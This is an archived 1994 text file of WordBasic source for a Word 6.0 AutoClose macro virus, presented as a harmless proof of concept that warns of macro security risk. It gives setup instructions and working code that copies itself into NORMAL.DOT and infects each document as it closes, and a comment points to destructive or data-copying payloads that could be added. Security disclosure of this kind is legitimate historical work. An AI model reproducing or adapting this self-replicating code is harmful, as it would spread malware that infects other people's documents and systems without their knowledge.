home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
MVUPDAT3.ZIP
/
DMVWORD.ZIP
/
DMVWORD.MAC
< prev
next >
Wrap
Text File
|
1995-09-20
|
3KB
|
88 lines
REM This demonstrates an application-specific document virus
REM generated by an automatic macro in Microsoft Word 6.0.
REM Code is executed each time a document is closed. This
REM macro is only a demonstration, and does not perform any
REM destructive actions.
REM The purpose of this code is to reveal a significant security
REM risk in software that supports macro languages with
REM auto-loading capabilities. Current virus detection tools are
REM currently not capable of detecting this type of virus, and
REM most users are blissfully unaware that threats can come from
REM documents.
REM Paste this code in the macro Window of a Word document
REM template. Save the macro as AutoClose. Enter some random
REM text in the main word processing window and save the document.
REM Now copy the file, naming the new file VIRUS.DOC. Open
REM VIRUS.DOC in Word. It will appear as a normal document, but
REM when you close the document, the virus will execute.
REM Message boxes display progress as the code is executed.
REM Code is commented.
REM joelm@eskimo.com, December 17, 1994
REM -----------------------------------------------
Sub MAIN
title$ = "Document Macro Virus"
MsgBox "Counting global macros.", title$, 16
REM check how many macros are globally available.
total = CountMacros(0)
present = 0
REM Check and see if the AutoClose macro is installed in global.
If total > 0 Then
For cycle = 1 To total
If MacroName$(cycle, 0) = "AutoClose" Then
MsgBox "AutoClose macro virus is already installed in NORMAL.DOT.", title$, 16
present = 1
End If
End If
REM Get the current document name.
a$ = WindowName$() + ":AutoClose"
REM If AutoClose isn't present, then copy it to NORMAL.DOT.
If present <> 1 Then
MacroCopy a$, "Global:AutoClose"
MsgBox "Infected NORMAL.DOT with copy of AutoClose macro virus.", title$, 16
REM The following code infects a document each time it is closed.
REM This effectively spreads the macro virus each time an infected
REM document is opened by Word.
Else
REM If AutoClose is already global and the file hasn't been
REM infected yet, save the current file as a
REM template instead of a document so the macro can be
REM attached.
REM See if AutoClose is already in the document. Don't need
REM to check names because the virus would be the only code
REM putting a macro in a document.
present = 0
If CountMacros(1) <> 0 Then
MsgBox "AutoClose macro virus already present in this document.", title$, 16
present = 1
End If
If present = 0 Then
FileSaveAs .Format = 1
MsgBox "Saved current document as template.", title$, 16
REM Then copy the AutoClose macro from NORMAL.DOT.
MacroCopy "Global:AutoClose", a$
MsgBox "Infected current document with copy of AutoClose macro virus.", title$, 16
End If
End If
REM After the document or NORMAL.DOT has been infected, then
REM execute the following macro code (this could be destructive,
REM such as a Kill command, invasive, such as a Connect and
REM CopyFile command, or harmless, with no malacious intent).
MsgBox "Macro virus has been spread. Now execute some other code (good, bad, or indifferent).", title$, 16
End Sub